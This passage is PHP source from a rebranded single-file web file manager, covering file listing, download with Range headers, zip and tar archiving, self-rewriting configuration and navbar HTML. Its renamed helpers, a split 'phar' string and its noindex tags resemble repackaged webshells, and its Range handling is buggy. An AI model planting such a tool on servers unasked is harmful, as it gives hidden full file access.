'/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'trouvaille<br>Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '<br>'; $msg .= '<br>Seems like you have a trailing slash on the URL.'; $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>'; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10); if (is_writable($fm_file)) { $lines = file($fm_file); if ($fh = @fopen($fm_file, "w")) { @fputs($fh, $config_string, strlen($config_string)); for ($x = 3; $x < count($lines); $x++) { @fputs($fh, $lines[$x], strlen($lines[$x])); } @fclose($fh); } } } } function fm_show_nav_path($path) { global $lang, $sticky_navbar, $editFile; $isStickyNavBar = $sticky_navbar ? 'fixed-top' : ''; $getTheme = fm_get_theme(); $getTheme .= " navbar-light"; if(FM_THEME == "dark") { $getTheme .= " navbar-dark"; } else { $getTheme .= " bg-white"; } ?> <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>"> <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <?php $path = fm_clean_path($path); $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>"; $sep = '<i class="bread-crumb"> / </i>'; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>"; } $root_url .= $sep . implode($sep, $array); } echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>'; ?> <div class="col-xs-6 col-sm-7"> <ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>"> <li class="nav-item mr-2"> <div class="input-group input-group-sm mr-1" style="margin-top:4px;"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon"> <div class="input-group-append"> <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span> </div> <div class="input-group-append btn-group"> <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span> <div class="dropdown-menu dropdown-menu-right"> <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a> </div> </div> </div> </li> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a> </li> <li class="nav-item"> <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a> </li> <?php endif; ?> <?php if (FM_USE_AUTH): ?> <li class="nav-item avatar dropdown"> <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a> <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> <?php endif ?> <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a> <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a> </div> </li> <?php else: ?> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> </li> <?php endif; ?> <?php endif; ?> </ul> </div> </div> </nav> <?php } function fm_show_message() { if (isset($_SESSION[DN_CESSION_ID]['message'])) { $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok'; echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="trouvaille"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?> <title><?php echo fanco(APP_TITLE) ?></title> <?php print_external('pre-jsdelivr'); ?> <?php print_external('css-bootstrap'); ?> <style> body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 